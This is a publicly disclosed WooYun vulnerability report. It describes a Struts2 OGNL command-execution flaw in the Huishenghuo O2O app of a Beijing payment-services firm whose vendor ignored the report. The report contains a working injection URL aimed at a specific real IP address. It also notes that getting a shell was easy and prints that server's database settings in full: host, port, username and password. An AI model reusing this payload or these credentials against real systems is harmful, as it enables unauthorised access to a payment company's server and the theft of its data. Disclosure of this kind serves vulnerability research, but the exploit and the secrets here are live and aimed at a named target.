惠生活APP命令执行(O2O平台) | wooyun-2015-0104861| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0104861

漏洞标题：惠生活APP命令执行(O2O平台)

漏洞作者：小猫钓鱼

提交时间：2015-03-30 23:04

修复时间：2015-05-14 23:06

公开时间：2015-05-14 23:06

漏洞类型：命令执行

危害等级：高

自评Rank：12

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-30：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-14：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

惠生活APP命里执行(O2O平台)Strus2命令执行漏洞
官网：http://www.bjshkj.cn/
北京省惠科技股份有限公司成立于2012年，是全国著名支付机构——快钱的全国运营商，并作为某银行POS收单业务的独家合作单位。公司专门从事银行卡收单、新兴支付工具研发及销售、小微企业融资服务、电子商务研发及服务的综合型金融科技股份公司.

详细说明：

验证:

http://122.114.51.136/shop/login.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23w.println(%23req.getRealPath("/")),%23w.flush(),%23w.close()}

轻松GetShell：

数据库似乎开在公网了，为了避免不必要的麻烦未连接：

jdbc.driverClassName=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://122.114.51.136:3306/o2o?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull
jdbc.username=o2o_user
jdbc.password=0d3e2ad27af39835

漏洞证明：

截图:

修复方案：

未做任何破坏，不信查日志

版权声明：转载请注明来源小猫钓鱼@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)